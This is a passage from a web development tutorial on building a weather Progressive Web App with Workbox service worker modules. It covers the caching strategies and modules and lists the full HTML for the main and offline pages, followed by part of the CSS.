</li>
<li><p><strong>Fetch event</strong>: Intercept network requests and serve from cache</p>
</li>
</ul>
<p>With Workbox, these are wrapped in easy-to-use functions.</p>
<h2 id="heading-introduction-to-workbox">Introduction to WorkBox</h2>
<p>Workbox is a collection of libraries that helps developers build efficient service workers quickly, with best practices built right in. It supports strategies like:</p>
<ul>
<li><p><code>CacheFirst</code>: Load from cache, fall back to network</p>
</li>
<li><p><code>NetworkFirst</code> : Try network, fall back to cache</p>
</li>
<li><p><code>StaleWhileRevalidate</code>: Serve from cache and update in the background</p>
</li>
</ul>
<h3 id="heading-understanding-workbox-modules">Understanding Workbox Modules</h3>
<p>Workbox is more than just a tool. It is a collection of powerful modules, each designed to simplify different parts of working with service workers. These modules are flexible and can be used in three key contexts:</p>
<ul>
<li><p><strong>Service Worker Context</strong> – Inside your service worker file, where you handle caching, routing, and other background tasks.</p>
</li>
<li><p><strong>Window Context</strong> – Inside your main application (the client-side JS), where you register and communicate with the service worker.</p>
</li>
<li><p><strong>Build Tools Integration</strong> – Tools like Webpack use Workbox to generate service worker files and precache manifests during your build process.</p>
</li>
</ul>
<p>Let’s break down some of the most popular and essential modules Workbox offers:</p>
<ol>
<li><strong>workbox-routing</strong></li>
</ol>
<p>This module handles routing network requests within your service worker. Think of it like a traffic director that listens for <code>fetch</code> events and decides what to do with them.</p>
<p><strong>Use case:</strong> Route API requests to the network while routing static asset requests to the cache.</p>
<ol start="2">
<li><strong>workbox-strategies</strong></li>
</ol>
<p>This is where caching strategies like <code>CacheFirst</code>, <code>NetworkFirst</code>, and <code>StaleWhileRevalidate</code> are used. It provides a clean and consistent API for handling how your app responds to different requests.</p>
<p><strong>Use case:</strong> Apply different caching behaviours for images, fonts, or dynamic data with minimal code.</p>
<ol start="3">
<li><strong>workbox-precaching</strong></li>
</ol>
<p>This module handles precaching by storing static assets during the service worker’s install phase. It makes it easy to cache files ahead of time and ensures that updates are managed efficiently.</p>
<p><strong>Use case:</strong> Preload essential assets (like HTML, CSS, and logo images) so your app loads instantly, even offline.</p>
<ol start="4">
<li><strong>workbox-expiration</strong></li>
</ol>
<p>It is used as a plugin alongside caching strategies. This module adds smart cache expiration. You can automatically remove old or excessive items from the cache based on how long they've been stored or how many items exist.</p>
<p><strong>Use case:</strong> Keep your cache size under control without manually tracking and deleting outdated files.</p>
<p><strong>workbox-window</strong></p>
<p>This module is designed for the browser (window) side of your app. It simplifies service worker registration and allows you to communicate with the service worker from your page easily.</p>
<p><strong>Use case:</strong> Detect when a new service worker is available and prompt the user to refresh the app to update.</p>
<p>You can use WorkBox via:</p>
<ul>
<li><p>npm</p>
</li>
<li><p>CDN (which we'll use here for simplicity)</p>
</li>
</ul>
<h2 id="heading-project-setup">Project Setup</h2>
<p>Let's start by creating our project structure:</p>
<pre><code class="lang-plaintext">weather-pwa/
├── index.html
├── style.css
├── js/
│   ├── app.js
│   └── install.js
├── service-worker.js
├── images/
│   └── [your image files and folders here]
├── manifest.json
├── config.js  
└── offline.html
</code></pre>
<h3 id="heading-the-html-structure">The HTML Structure</h3>
<p>First, let's build our <code>index.html</code> file:</p>
<pre><code class="lang-xml">
<span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
    <span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span> /&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span> /&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"icon"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/images/logo.png"</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"image/png"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"description"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"Simple Weather Progressive Web App"</span> /&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/styles.css"</span> /&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Weatherly<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>


<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">header</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"header"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">loading</span>=<span class="hljs-string">"lazy"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"logo"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"images/logo.png"</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">"Weatherly Logo"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Weatherly<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">header</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">main</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"main"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"weather-card"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"location-container"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"location-input"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"Enter city name"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"search-btn"</span>&gt;</span>Search<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"locationBtn"</span>&gt;</span>📍 Use My Location<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"installBtn"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display: none;"</span>&gt;</span>Install App<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"offline-message"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"offline-message"</span>&gt;</span>
                You are currently offline. Weather data may not be up-to-date.
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>


            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"error"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">p</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"error-message"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"weather-container"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"weather-container"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>Your last searched location weather:<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"location-info"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"city"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">p</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"date"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"current-weather"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">loading</span>=<span class="hljs-string">"lazy"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"weather-icon"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">""</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">"Weather icon"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"temperature-container"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">h3</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"temperature"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">p</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"weather-description"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"weather-details"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"detail"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">loading</span>=<span class="hljs-string">"lazy"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"humidity-icon"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"/images/humidity.png"</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">"Humidity icon"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"label"</span>&gt;</span>Humidity<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"humidity"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"value"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"detail"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">loading</span>=<span class="hljs-string">"lazy"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"wind-icon"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"/images/wind.png"</span> <span class="hljs-attr">alt</span>=<span class="hljs-string">"Wind icon"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"label"</span>&gt;</span>Wind<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"wind"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"value"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

            <span class="hljs-comment">&lt;!-- Your location weather --&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"location-weather"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>Your location's weather:<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"weather-info"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"weatherInfo"</span>&gt;</span>

                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">main</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">footer</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Made with ❤️ by <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"www.linkedin.com/in/damilola-oniyide"</span>&gt;</span>Damilola Oniyide<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">footer</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"module"</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"/js/app.js"</span> <span class="hljs-attr">defer</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h2 id="heading-creating-the-offline-html-structure">Creating the Offline HTML Structure</h2>
<p>The <code>offline.html</code> is the page that users will see when they lose network connection and try to navigate to a page that isn’t cached.</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"theme-color"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"#2196f3"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Weatherly - Offline<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"/styles.css"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
    <span class="hljs-selector-class">.offline-icon</span> {
      <span class="hljs-attribute">font-size</span>: <span class="hljs-number">5rem</span>;
      <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1.5rem</span>;
      <span class="hljs-attribute">color</span>: <span class="hljs-number">#2196f3</span>;
    }

    <span class="hljs-selector-class">.offline-message</span> {
      <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.5rem</span>;
      <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1.5rem</span>;
    }

    <span class="hljs-selector-class">.offline-subtext</span> {
      <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1rem</span>;
      <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">2rem</span>;
      <span class="hljs-attribute">color</span>: <span class="hljs-number">#666</span>;
    }

    <span class="hljs-selector-class">.retry-button</span> {
      <span class="hljs-attribute">padding</span>: <span class="hljs-number">0.75rem</span> <span class="hljs-number">1.5rem</span>;
      <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#2196f3</span>;
      <span class="hljs-attribute">color</span>: white;
      <span class="hljs-attribute">border</span>: none;
      <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">12px</span>;
      <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1rem</span>;
      <span class="hljs-attribute">cursor</span>: pointer;
      <span class="hljs-attribute">transition</span>: background-color <span class="hljs-number">0.3s</span>;
    }

    <span class="hljs-selector-class">.retry-button</span><span class="hljs-selector-pseudo">:hover</span> {
      <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#2980b9</span>;
    }
  </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">header</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Weatherly<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">header</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">main</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"app-container"</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"weather-card"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"offline-container"</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"offline-icon"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">svg</span> <span class="hljs-attr">xmlns</span>=<span class="hljs-string">"http://www.w3.org/2000/svg"</span> <span class="hljs-attr">width</span>=<span class="hljs-string">"1em"</span> <span class="hljs-attr">height</span>=<span class="hljs-string">"1em"</span> <span class="hljs-attr">fill</span>=<span class="hljs-string">"currentColor"</span> <span class="hljs-attr">viewBox</span>=<span class="hljs-string">"0 0 16 16"</span>&gt;</span>
              <span class="hljs-tag">&lt;<span class="hljs-name">path</span> <span class="hljs-attr">d</span>=<span class="hljs-string">"M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"</span>/&gt;</span>
              <span class="hljs-tag">&lt;<span class="hljs-name">path</span> <span class="hljs-attr">d</span>=<span class="hljs-string">"M7 6.5C7 7.328 6.552 8 6 8s-1-.672-1-1.5S5.448 5 6 5s1 .672 1 1.5zm-2.715 5.933a.5.5 0 0 1-.183-.683A4.498 4.498 0 0 1 8 9.5a4.5 4.5 0 0 1 3.898 2.25.5.5 0 0 1-.866.5A3.498 3.498 0 0 0 8 10.5a3.498 3.498 0 0 0-3.032 1.75.5.5 0 0 1-.683.183zM10 8c-.552 0-1-.672-1-1.5S9.448 5 10 5s1 .672 1 1.5S10.552 8 10 8z"</span>/&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">svg</span>&gt;</span>
          <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"offline-message"</span>&gt;</span>You're offline<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">p</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"offline-subtext"</span>&gt;</span>Please check your internet connection and try again.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"retry-button"</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"window.location.href='/'"</span>&gt;</span>Retry<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">main</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">footer</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Made with ❤️ by Damilola Oniyide<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">footer</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h2 id="heading-styling-with-css">Styling with CSS</h2>
<p>Now, let's create our <code>style.css</code> file for a responsive and user-friendly design:</p>
<pre><code class="lang-css">* {
    <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">box-sizing</span>: border-box;
}

<span class="hljs-selector-tag">body</span> {
    <span class="hljs-attribute">font-family</span>: <span class="hljs-string">'Segoe UI'</span>, Tahoma, Geneva, Verdana, sans-serif;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#f5f5f5</span>;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
    <span class="hljs-attribute">line-height</span>: <span class="hljs-number">1.6</span>;
}

<span class="hljs-selector-class">.header</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#2196f3</span>;
    <span class="hljs-attribute">color</span>: white;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">justify-content</span>: center;
    <span class="hljs-attribute">align-items</span>: center;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">2px</span> <span class="hljs-number">5px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
}

<span class="hljs-selector-class">.header</span> <span class="hljs-selector-tag">h1</span> {
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.5rem</span>;
}


<span class="hljs-selector-class">.header</span> <span class="hljs-selector-tag">img</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">55px</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">55px</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">#ffff</span> <span class="hljs-number">1px</span> solid;
    <span class="hljs-attribute">margin-right</span>: <span class="hljs-number">4px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">10%</span>;
}


<span class="hljs-selector-class">.main</span> {
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">max-width</span>: auto;
    <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span> auto;
}

<span class="hljs-selector-class">.weather-card</span> {
    <span class="hljs-attribute">background-color</span>: white;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">8px</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">2px</span> <span class="hljs-number">10px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">1.5rem</span> <span class="hljs-number">3rem</span>;
    <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">1rem</span>;
}

<span class="hljs-comment">/* Location input styles */</span>
<span class="hljs-selector-class">.location-container</span> {
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1.5rem</span>;
    <span class="hljs-attribute">justify-content</span>: center;
}

<span class="hljs-selector-id">#location-input</span> {
    <span class="hljs-attribute">flex</span>: <span class="hljs-number">1</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">0.75rem</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid <span class="hljs-number">#ddd</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">4px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">4px</span>;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">max-width</span>: <span class="hljs-number">240px</span>;
}

<span class="hljs-selector-id">#location-input</span><span class="hljs-selector-pseudo">:focus</span> {
    <span class="hljs-attribute">outline</span>: none;
    <span class="hljs-attribute">border-color</span>: <span class="hljs-number">#2196f3</span>;
}
<span class="hljs-selector-id">#location-input</span><span class="hljs-selector-pseudo">::placeholder</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#999</span>;
}   

<span class="hljs-selector-id">#search-btn</span>, <span class="hljs-selector-id">#locationBtn</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#2196f3</span>;
    <span class="hljs-attribute">color</span>: white;
    <span class="hljs-attribute">border</span>: none;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">0.75rem</span> <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0</span> <span class="hljs-number">4px</span> <span class="hljs-number">4px</span> <span class="hljs-number">0</span>;
    <span class="hljs-attribute">cursor</span>: pointer;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">margin-right</span>: <span class="hljs-number">2.5px</span>;
}


<span class="hljs-selector-id">#installBtn</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#2196f3</span>;
    <span class="hljs-attribute">color</span>: white;
    <span class="hljs-attribute">border</span>: none;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">0.75rem</span> <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">4px</span>;
    <span class="hljs-attribute">cursor</span>: pointer;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1rem</span>;

}

<span class="hljs-selector-id">#search-btn</span><span class="hljs-selector-pseudo">:focus</span>, <span class="hljs-selector-id">#locationBtn</span><span class="hljs-selector-pseudo">:focus</span>, <span class="hljs-selector-id">#installBtn</span><span class="hljs-selector-pseudo">:focus</span> {
    <span class="hljs-attribute">outline</span>: none;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">5px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">33</span>, <span class="hljs-number">150</span>, <span class="hljs-number">243</span>, <span class="hljs-number">0.5</span>);
}
<span class="hljs-selector-id">#search-btn</span><span class="hljs-selector-pseudo">:hover</span>, <span class="hljs-selector-id">#locationBtn</span><span class="hljs-selector-pseudo">:hover</span>, <span class="hljs-selector-id">#installBtn</span><span class="hljs-selector-pseudo">:hover</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#1976d2</span>;
}

<span class="hljs-selector-class">.error</span>, <span class="hljs-selector-class">.loading</span> {
    <span class="hljs-attribute">text-align</span>: center;
    <span class="hljs-attribute">font-weight</span>: bold;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">14px</span>;
    <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">display</span>: none;;
}

<span class="hljs-selector-class">.error-message</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#d32f2f</span>;

}
<span class="hljs-comment">/* Weather display styles */</span>
<span class="hljs-selector-class">.weather-container</span> {
    <span class="hljs-attribute">display</span>: none 
}

<span class="hljs-selector-id">#weather-icon</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">1000px</span>; 
    <span class="hljs-attribute">height</span>: <span class="hljs-number">100px</span>;
  }

<span class="hljs-selector-class">.current-weather</span>{
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">2rem</span>;
    <span class="hljs-attribute">display</span>: flex;
